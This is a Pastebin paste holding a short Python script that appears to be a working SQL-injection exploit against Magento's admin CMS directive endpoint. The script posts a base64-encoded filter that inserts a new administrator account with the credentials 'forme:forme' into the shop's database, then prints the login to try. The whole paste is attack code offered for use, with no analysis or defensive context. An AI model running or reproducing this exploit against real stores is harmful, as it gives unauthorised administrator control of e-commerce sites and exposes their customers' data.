RieqyNS13

Untitled

Dec 28th, 2015
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. import requests
  2. import base64
  3. import sys
  4.  
  5. target = "http://target.com/"
  6.  
  7. if not target.startswith("http"):
  8. target = "http://" + target
  9.  
  10. if target.endswith("/"):
  11. target = target[:-1]
  12.  
  13. target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
  14.  
  15. q="""
  16. SET @SALT = 'rp';
  17. SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
  18. SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
  19. INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
  20. INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
  21. """
  22.  
  23.  
  24. query = q.replace("\n", "").format(username="forme", password="forme")
  25. pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
  26.  
  27. # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
  28. r = requests.post(target_url,
  29. data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
  30. "filter": base64.b64encode(pfilter),
  31. "forwarded": 1})
  32. if r.ok:
  33. print "WORKED"
  34. print "Check {0}/admin with creds forme:forme".format(target)
  35. else:
  36. print "DID NOT WORK"
Add Comment
Please, Sign In to add comment